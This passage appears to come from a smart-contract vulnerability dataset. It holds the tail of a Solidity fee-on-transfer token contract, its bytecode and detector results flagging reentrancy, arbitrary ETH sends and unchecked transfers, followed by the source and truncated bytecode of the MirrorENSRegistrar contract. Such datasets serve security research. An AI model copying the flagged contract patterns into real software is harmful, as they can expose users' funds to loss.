Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function isWalletToWallet(address sender, address recipient) internal view returns (bool) { if (isFeeExempt[sender] || isFeeExempt[recipient]) { return false; } if (sender == pair || recipient == pair) { return false; } return true; } function swapBack() internal lockTheSwap { uint256 tokensToLiquify = swapThreshold; uint256 amountToSwap = tokensToLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETHMarketing = address(this).balance; (bool tmpSuccess, ) = payable(marketingWallet).call{ value: amountETHMarketing, gas: 30000 }(""); // only to supress warning msg tmpSuccess = false; } function getAllRewards() external view returns (address[] memory, uint256[] memory) { address[] memory mAddresses = new address[](rewardedAddresses.length); uint256[] memory mRewards = new uint256[](rewardedAddresses.length); for (uint256 i = 0; i < rewardedAddresses.length; i++) { mAddresses[i] = rewardedAddresses[i]; mRewards[i] = totalRewardsPerAddress[rewardedAddresses[i]]; } return (mAddresses, mRewards); } function recoverLosteth() external authorized { payable(msg.sender).transfer(address(this).balance); } function recoverLostTokens(address _token, uint256 _amount) external authorized { IERC20(_token).transfer(msg.sender, _amount); } }
0x6080604052600436106102e85760003560e01c8063893d20e811610190578063ca987b0e116100dc578063f0b37c0411610095578063f84ba65d1161006f578063f84ba65d14610b13578063f887ea4014610b4e578063fe9fbb8014610b63578063feec927814610b96576102ef565b8063f0b37c0414610a98578063f2fde38b14610acb578063f5f2013414610afe576102ef565b8063ca987b0e14610980578063dd62ed3e14610995578063dec2ba0f146109d0578063df20fd4914610a09578063ec28438a14610a3b578063ed14f20a14610a65576102ef565b80639d0014b111610149578063a9059cbb11610123578063a9059cbb146108cc578063b6a5d7de14610905578063c0e5fec814610938578063ca33e64c1461096b576102ef565b80639d0014b114610852578063a4b45c001461087c578063a8aa1b31146108b7576102ef565b8063893d20e8146107b65780638b42507f146107cb5780638eb6889f146107fe578063944c1d971461081357806395d89b4114610828578063970a46df1461083d576102ef565b80633d18678e1161024f578063658d4b7f1161020857806370a08231116101e257806370a0823114610713578063712a890a1461074657806375f0a874146107705780637d1db4a5146107a1576102ef565b8063658d4b7f146106ae5780636b67c4df146106e95780636c0a24eb146106fe576102ef565b80633d18678e146105285780633f4218e01461055257806345b35f56146105855780634a74bb02146106335780634db6fb8314610648578063571ac8b01461067b576102ef565b806323b872dd116102a157806323b872dd1461043157806327a14fc2146104745780632b112e49146104a05780632f54bf6e146104b5578063313ce567146104e857806333596f5014610513576102ef565b80630445b667146102f457806306fdde031461031b578063095ea7b3146103a557806318160ddd146103f25780631df4ccfc146104075780632111bb2f1461041c576102ef565b366102ef57005b600080fd5b34801561030057600080fd5b50610309610bab565b60408051918252519081900360200190f35b34801561032757600080fd5b50610330610bb1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036a578181015183820152602001610352565b50505050905090810190601f1680156103975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103b157600080fd5b506103de600480360360408110156103c857600080fd5b506001600160a01b038135169060200135610bd2565b604080519115158252519081900360200190f35b3480156103fe57600080fd5b50610309610c39565b34801561041357600080fd5b50610309610c3f565b34801561042857600080fd5b50610309610c45565b34801561043d57600080fd5b506103de6004803603606081101561045457600080fd5b506001600160a01b03813581169160208101359091169060400135610c4b565b34801561048057600080fd5b5061049e6004803603602081101561049757600080fd5b5035610d10565b005b3480156104ac57600080fd5b50610309610d5d565b3480156104c157600080fd5b506103de600480360360208110156104d857600080fd5b50356001600160a01b0316610da6565b3480156104f457600080fd5b506104fd610dba565b6040805160ff9092168252519081900360200190f35b34801561051f57600080fd5b5061049e610dbf565b34801561053457600080fd5b5061049e6004803603602081101561054b57600080fd5b5035610e36565b34801561055e57600080fd5b506103de6004803603602081101561057557600080fd5b50356001600160a01b0316610e8d565b34801561059157600080fd5b5061059a610ea2565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156105de5781810151838201526020016105c6565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561061d578181015183820152602001610605565b5050505090500194505050505060405180910390f35b34801561063f57600080fd5b506103de610fff565b34801561065457600080fd5b506103096004803603602081101561066b57600080fd5b50356001600160a01b031661100f565b34801561068757600080fd5b506103de6004803603602081101561069e57600080fd5b50356001600160a01b0316611021565b3480156106ba57600080fd5b5061049e600480360360408110156106d157600080fd5b506001600160a01b038135169060200135151561102f565b3480156106f557600080fd5b506103096110a2565b34801561070a57600080fd5b506103096110a8565b34801561071f57600080fd5b506103096004803603602081101561073657600080fd5b50356001600160a01b03166110ae565b34801561075257600080fd5b5061049e6004803603602081101561076957600080fd5b50356110c9565b34801561077c57600080fd5b50610785611116565b604080516001600160a01b039092168252519081900360200190f35b3480156107ad57600080fd5b50610309611125565b3480156107c257600080fd5b5061078561112b565b3480156107d757600080fd5b506103de600480360360208110156107ee57600080fd5b50356001600160a01b031661113a565b34801561080a57600080fd5b5061030961114f565b34801561081f57600080fd5b50610309611155565b34801561083457600080fd5b5061033061115b565b34801561084957600080fd5b5061049e61117c565b34801561085e57600080fd5b5061049e6004803603602081101561087557600080fd5b50356111d3565b34801561088857600080fd5b5061049e6004803603604081101561089f57600080fd5b506001600160a01b0381358116916020013516611220565b3480156108c357600080fd5b50610785611296565b3480156108d857600080fd5b506103de600480360360408110156108ef57600080fd5b506001600160a01b0381351690602001356112a5565b34801561091157600080fd5b5061049e6004803603602081101561092857600080fd5b50356001600160a01b03166112b2565b34801561094457600080fd5b506103096004803603602081101561095b57600080fd5b50356001600160a01b031661131c565b34801561097757600080fd5b5061078561132e565b34801561098c57600080fd5b5061030961133d565b3480156109a157600080fd5b50610309600480360360408110156109b857600080fd5b506001600160a01b0381358116916020013516611343565b3480156109dc57600080fd5b5061049e600480360360408110156109f357600080fd5b506001600160a01b03813516906020013561136e565b348015610a1557600080fd5b5061049e60048036036040811015610a2c57600080fd5b50803515159060200135611435565b348015610a4757600080fd5b5061049e60048036036020811015610a5e57600080fd5b503561149f565b348015610a7157600080fd5b506103de60048036036020811015610a8857600080fd5b50356001600160a01b03166114ec565b348015610aa457600080fd5b5061049e60048036036020811015610abb57600080fd5b50356001600160a01b0316611501565b348015610ad757600080fd5b5061049e60048036036020811015610aee57600080fd5b50356001600160a01b0316611565565b348015610b0a57600080fd5b5061049e611616565b348015610b1f57600080fd5b5061049e60048036036040811015610b3657600080fd5b506001600160a01b0381351690602001351515611978565b348015610b5a57600080fd5b506107856119eb565b348015610b6f57600080fd5b506103de60048036036020811015610b8657600080fd5b50356001600160a01b03166119fa565b348015610ba257600080fd5b50610309611a18565b601f5481565b6040805180820190915260078152665361627572616960c81b602082015290565b336000818152600e602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b60175481565b60085481565b6001600160a01b0383166000908152600e6020908152604080832033845290915281205460001914610cf8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600e82528381203382529091529190912054610cd3918490611a1e565b6001600160a01b0385166000908152600e602090815260408083203384529091529020555b610d03848484611ab5565b50600190505b9392505050565b610d19336119fa565b610d58576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601e55565b600354600090610da190610d79906001600160a01b03166110ae565b600254610d9b90610d92906001600160a01b03166110ae565b60055490611dfd565b90611dfd565b905090565b6000546001600160a01b0390811691161490565b601290565b610dc8336119fa565b610e07576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610e33573d6000803e3d6000fd5b50565b610e3f336119fa565b610e7e576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60168190556017819055601855565b600f6020526000908152604090205460ff1681565b6060806060600b8054905067ffffffffffffffff81118015610ec357600080fd5b50604051908082528060200260200182016040528015610eed578160200160208202803683370190505b50600b5490915060609067ffffffffffffffff81118015610f0d57600080fd5b50604051908082528060200260200182016040528015610f37578160200160208202803683370190505b50905060005b600b54811015610ff557600b8181548110610f5457fe5b9060005260206000200160009054906101000a90046001600160a01b0316838281518110610f7e57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060156000600b8381548110610faf57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610fe257fe5b6020908102919091010152600101610f3d565b5090925090509091565b601c54600160b81b900460ff1681565b60146020526000908152604090205481565b6000610c3382600019610bd2565b611038336119fa565b611077576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b60165481565b601e5481565b6001600160a01b03166000908152600d602052604090205490565b6110d2336119fa565b611111576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600a55565b601a546001600160a01b031681565b601d5481565b6000546001600160a01b031690565b60106020526000908152604090205460ff1681565b60075481565b600a5481565b6040805180820190915260078152665341425552414960c81b602082015290565b611185336119fa565b6111c4576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c805460ff60a81b19169055565b6111dc336119fa565b61121b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601f55565b611229336119fa565b611268576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601980546001600160a01b039384166001600160a01b031991821617909155601a8054929093169116179055565b601c546001600160a01b031681565b6000610d09338484611ab5565b6112bb33610da6565b6112f5576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b60156020526000908152604090205481565b6019546001600160a01b031681565b60185481565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b611377336119fa565b6113b6576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b15801561140557600080fd5b505af1158015611419573d6000803e3d6000fd5b505050506040513d602081101561142f57600080fd5b50505050565b61143e336119fa565b61147d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c8054921515600160b81b0260ff60b81b1990931692909217909155601f55565b6114a8336119fa565b6114e7576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601d55565b60116020526000908152604090205460ff1681565b61150a33610da6565b611544576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b61156e33610da6565b6115a8576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b61161f336119fa565b61165e576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c805460ff60b01b1916600160b01b179055600c541561196957306000908152600d6020526040812054905b600c548110156117b3576116e1600d6000600c84815481106116a957fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812054308252600d909352205490611e3f565b306000818152600d6020526040902091909155600c80548390811061170257fe5b6000918252602082200154600c80546001600160a01b03909216926000805160206129e383398151915292600d92908790811061173b57fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201902054815190815290519081900390910190a36000600d6000600c848154811061178657fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205560010161168b565b50306000908152600d6020526040908190205481516002808252606082810190945291849003929181602001602082028036833701905050905030816000815181106117fb57fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561184f57600080fd5b505afa158015611863573d6000803e3d6000fd5b505050506040513d602081101561187957600080fd5b505181518290600190811061188a57fe5b6001600160a01b03928316602091820292909201810191909152601b54601a5460405163791ac94760e01b81526004810187815260006024830181905292861660648301819052426084840181905260a060448501908152895160a48601528951969098169763791ac947978b978b969495939460c4019187810191028083838b5b8381101561192457818101518382015260200161190c565b505050509050019650505050505050600060405180830381600087803b15801561194d57600080fd5b505af1158015611961573d6000803e3d6000fd5b505050505050505b601c805460ff60b01b19169055565b611981336119fa565b6119c0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b601b546001600160a01b031681565b6001600160a01b031660009081526001602052604090205460ff1690565b60095481565b60008184841115611aad5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a72578181015183820152602001611a5a565b50505050905090810190601f168015611a9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b601c54600090600160b01b900460ff1615611adc57611ad5848484611e99565b9050610d09565b601c54600160a81b900460ff1615611c1957601c54600160a01b900460ff16611b0e57611b098484611f68565b611c19565b6000600654118015611b2d5750601c546001600160a01b038581169116145b8015611b5257506001600160a01b03841660009081526012602052604090205460ff16155b8015611b7757506001600160a01b03831660009081526012602052604090205460ff16155b15611c1957600260065443031015611c19576001600160a01b03831660009081526013602052604090205460ff16611bf557600c80546001810182556000919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0383166000908152601360205260409020805460ff191660011790555b601c546001600160a01b03163314801590611c3e5750601c54600160b01b900460ff16155b8015611c535750601c54600160b81b900460ff165b8015611c705750601f54306000908152600d602052604090205410155b15611c7d57611c7d612007565b611c8884848461224c565b611c928484612742565b15611cd2576040805162461bcd60e51b815260206004820152600b60248201526a111bdb89dd0818da19585d60aa1b604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600d9091529190912054611d24918490611a1e565b6001600160a01b0385166000908152600d6020908152604080832093909355600f90529081205460ff16158015611d7457506001600160a01b0384166000908152600f602052604090205460ff16155b611d7e5782611d89565b611d898585856127cd565b6001600160a01b0385166000908152600d6020526040902054909150611daf9082611e3f565b6001600160a01b0385166000818152600d60209081526040918290209390935580518481529051919233926000805160206129e38339815191529281900390910190a3506001949350505050565b6000610d0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a1e565b600082820183811015610d09576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600d90915291822054611eea918490611a1e565b6001600160a01b038086166000908152600d60205260408082209390935590851681522054611f199083611e3f565b6001600160a01b038085166000818152600d602090815260409182902094909455805186815290519193928816926000805160206129e383398151915292918290030190a35060019392505050565b601c54600160a01b900460ff1615611fb15760405162461bcd60e51b815260040180806020018281038252602381526020018061297c6023913960400191505060405180910390fd5b6001600160a01b03821660009081526012602052604090205460ff168015611fe65750601c546001600160a01b038281169116145b1561200357601c805460ff60a01b1916600160a01b179055436006555b5050565b601c805460ff60b01b1916600160b01b179055601f5460408051600280825260608083018452849390929190602083019080368337019050509050308160008151811061205057fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156120a457600080fd5b505afa1580156120b8573d6000803e3d6000fd5b505050506040513d60208110156120ce57600080fd5b50518151829060019081106120df57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601b60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612199578181015183820152602001612181565b505050509050019650505050505050600060405180830381600087803b1580156121c257600080fd5b505af11580156121d6573d6000803e3d6000fd5b5050601a54604051479350600092506001600160a01b039091169061753090849084818181858888f193505050503d8060008114612230576040519150601f19603f3d011682016040523d82523d6000602084013e612235565b606091505b5050601c805460ff60b01b19169055505050505050565b6000546001600160a01b0384811691161480159061227857506000546001600160a01b03838116911614155b801561229d57506001600160a01b03821660009081526010602052604090205460ff16155b80156122b757506003546001600160a01b03838116911614155b80156122d157506002546001600160a01b03838116911614155b80156122eb5750601c546001600160a01b03838116911614155b801561230057506001600160a01b0382163014155b1561267857601d54811115612345576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6000612350836110ae565b9050601e5482820111156123955760405162461bcd60e51b815260040180806020018281038252602381526020018061299f6023913960400191505060405180910390fd5b60408051600280825260608083018452926020830190803683375050601b54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156123f957600080fd5b505afa15801561240d573d6000803e3d6000fd5b505050506040513d602081101561242357600080fd5b50518151829060009061243257fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061246057fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516307c0329d60e21b815260048101888152602482019283528651604483015286516000969490941694631f00ca74948a948994909260649091019185820191028083838c5b838110156124de5781810151838201526020016124c6565b50505050905001935050505060006040518083038186803b15801561250257600080fd5b505afa158015612516573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561253f57600080fd5b810190808051604051939291908464010000000082111561255f57600080fd5b90830190602082018581111561257457600080fd5b825186602082028301116401000000008211171561259157600080fd5b82525081516020918201928201910280838360005b838110156125be5781810151838201526020016125a6565b505050509050016040525050506000815181106125d757fe5b6020908102919091018101516001600160a01b03871660009081526014835260408082208054840190556011909352919091205490915060ff16612674576008546001600160a01b0386166000908152601460205260409020541115612654576001600160a01b0385166000908152601460205260409020546008555b6007548111156126645760078190555b6009548110156126745760098190555b5050505b6000546001600160a01b038481169116148015906126a457506000546001600160a01b03838116911614155b80156126c957506001600160a01b03831660009081526010602052604090205460ff16155b80156126e35750601c546001600160a01b03848116911614155b80156126f857506001600160a01b0382163014155b1561273d57601d5481111561273d576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b505050565b6001600160a01b0382166000908152600f602052604081205460ff168061278157506001600160a01b0382166000908152600f602052604090205460ff165b1561278e57506000610c33565b601c546001600160a01b03848116911614806127b75750601c546001600160a01b038381169116145b156127c457506000610c33565b50600192915050565b601c5460009081906001600160a01b038581169116146127ef576017546127f3565b6018545b9050600061280c60646128068685612880565b906128d9565b306000908152600d60205260409020549091506128299082611e3f565b306000818152600d6020908152604091829020939093558051848152905191926001600160a01b038a16926000805160206129e38339815191529281900390910190a36128768482611dfd565b9695505050505050565b60008261288f57506000610c33565b8282028284828161289c57fe5b0414610d095760405162461bcd60e51b81526004018080602001828103825260218152602001806129c26021913960400191505060405180910390fd5b6000610d0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836129655760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a72578181015183820152602001611a5a565b50600083858161297157fe5b049594505050505056fe4c697175696469747920616c726561647920616464656420616e64206d61726b65642e45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f680ec199b15131e750d79575cfb5c70824bddab3a02a7dd7e6072382ed26cb764736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,291
0x6a4e77905d107bfc8bac70afddb14f9a9d41cfc4
/** *Submitted for verification at Etherscan.io on 2021-02-05 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.8; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); // Logged when an operator is added or removed. event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function setRecord( bytes32 node, address owner, address resolver, uint64 ttl ) external; function setSubnodeRecord( bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl ) external; function setSubnodeOwner( bytes32 node, bytes32 label, address owner ) external returns (bytes32); function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function setApprovalForAll(address operator, bool approved) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); function recordExists(bytes32 node) external view returns (bool); function isApprovedForAll(address owner, address operator) external view returns (bool); } interface IENSResolver { event AddrChanged(bytes32 indexed _node, address _addr); event NameChanged(bytes32 indexed _node, string _name); function addr(bytes32 _node) external view returns (address); function setAddr(bytes32 _node, address _addr) external; function name(bytes32 _node) external view returns (string memory); function setName(bytes32 _node, string calldata _name) external; } interface IENSReverseRegistrar { function claim(address _owner) external returns (bytes32); function claimWithResolver(address _owner, address _resolver) external returns (bytes32); function setName(string calldata _name) external returns (bytes32); function node(address _addr) external pure returns (bytes32); } interface IMirrorENSRegistrar { function changeRootNodeOwner(address newOwner_) external; function register(string calldata label_, address owner_) external; function updateENSReverseRegistrar() external; } contract MirrorENSRegistrar is IMirrorENSRegistrar, Ownable { // ============ Constants ============ /** * namehash('addr.reverse') */ bytes32 public constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; // ============ Immutable Storage ============ /** * The name of the ENS root, e.g. "mirror.xyz". * @dev dependency injectable for testnet. */ string public rootName; /** * The node of the root name (e.g. namehash(mirror.xyz)) */ bytes32 public immutable rootNode; /** * The address of the public ENS registry. * @dev Dependency-injectable for testing purposes, but otherwise this is the * canonical ENS registry at 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e. */ IENS public immutable ensRegistry; /** * The address of the MirrorWriteToken that gates access to this namespace. */ address public immutable writeToken; /** * The address of the MirrorENSResolver. */ IENSResolver public immutable ensResolver; // ============ Mutable Storage ============ /** * Set by anyone to the correct address after configuration, * to prevent a lookup on each registration. */ IENSReverseRegistrar public reverseRegistrar; // ============ Events ============ event RootNodeOwnerChange(bytes32 indexed node, address indexed owner); event RegisteredENS(address indexed _owner, string _ens); // ============ Modifiers ============ /** * @dev Modifier to check whether the `msg.sender` is the MirrorWriteToken. * If it is, it will run the function. Otherwise, it will revert. */ modifier onlyWriteToken() { require( msg.sender == writeToken, "MirrorENSRegistrar: caller is not the Mirror Write Token" ); _; } // ============ Constructor ============ /** * @notice Constructor that sets the ENS root name and root node to manage. * @param rootName_ The root name (e.g. mirror.xyz). * @param rootNode_ The node of the root name (e.g. namehash(mirror.xyz)). * @param ensRegistry_ The address of the ENS registry * @param ensResolver_ The address of the ENS resolver * @param writeToken_ The address of the Mirror Write Token */ constructor( string memory rootName_, bytes32 rootNode_, address ensRegistry_, address ensResolver_, address writeToken_ ) public { rootName = rootName_; rootNode = rootNode_; writeToken = writeToken_; // Registrations are cheaper if these are instantiated. ensRegistry = IENS(ensRegistry_); ensResolver = IENSResolver(ensResolver_); } // ============ Registration ============ /** * @notice Assigns an ENS subdomain of the root node to a target address. * Registers both the forward and reverse ENS. Can only be called by writeToken. * @param label_ The subdomain label. * @param owner_ The owner of the subdomain. */ function register(string calldata label_, address owner_) external override onlyWriteToken { bytes32 labelNode = keccak256(abi.encodePacked(label_)); bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode)); require( ensRegistry.owner(node) == address(0), "MirrorENSManager: label is already owned" ); // Forward ENS ensRegistry.setSubnodeRecord( rootNode, labelNode, owner_, address(ensResolver), 0 ); ensResolver.setAddr(node, owner_); // Reverse ENS string memory name = string(abi.encodePacked(label_, ".", rootName)); bytes32 reverseNode = reverseRegistrar.node(owner_); ensResolver.setName(reverseNode, name); emit RegisteredENS(owner_, name); } // ============ ENS Management ============ /** * @notice This function must be called when the ENS Manager contract is replaced * and the address of the new Manager should be provided. * @param _newOwner The address of the new ENS manager that will manage the root node. */ function changeRootNodeOwner(address _newOwner) external override onlyOwner { ensRegistry.setOwner(rootNode, _newOwner); emit RootNodeOwnerChange(rootNode, _newOwner); } /** * @notice Updates to the reverse registrar. */ function updateENSReverseRegistrar() external override onlyOwner { reverseRegistrar = IENSReverseRegistrar( ensRegistry.owner(ADDR_REVERSE_NODE) ); } }
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c80637d73b2311161008c578063adce1c5f11610066578063adce1c5f146101eb578063f20387df146101f3578063f2fde38b14610270578063faff50a814610296576100df565b80637d73b231146101d357806380869853146101db5780638da5cb5b146101e3576100df565b806360b17c43116100bd57806360b17c43146101a9578063715018a6146101b15780637cf8a2eb146101b9576100df565b806301f644dd146100e45780630e77a8681461010c5780631e59c52914610130575b600080fd5b61010a600480360360208110156100fa57600080fd5b50356001600160a01b031661029e565b005b610114610419565b604080516001600160a01b039092168252519081900360200190f35b61010a6004803603604081101561014657600080fd5b81019060208101813564010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184600183028401116401000000008311171561019557600080fd5b9193509150356001600160a01b031661043d565b61010a610a8c565b61010a610bef565b6101c1610cb0565b60408051918252519081900360200190f35b610114610cd4565b610114610cf8565b610114610d07565b610114610d16565b6101fb610d3a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023557818101518382015260200161021d565b50505050905090810190601f1680156102625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61010a6004803603602081101561028657600080fd5b50356001600160a01b0316610de5565b6101c1610efc565b6102a6610f20565b6000546001600160a01b03908116911614610308576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e6001600160a01b0316635b0fc9c37f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad9836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b1580156103a857600080fd5b505af11580156103bc573d6000803e3d6000fd5b50506040516001600160a01b03841692507f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad991507f1feab6b73ead7720548833a318ec8adba961fdb81dc95f4303705f3d13e49f2690600090a350565b7f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163281565b336001600160a01b037f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163216146104a45760405162461bcd60e51b8152600401808060200182810382526038815260200180610f4b6038913960400191505060405180910390fd5b60008383604051602001808383808284376040805191909301818103601f1901825280845281516020928301207f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad983830152818501819052845180830386018152606083018087528151918501919091207f02571be30000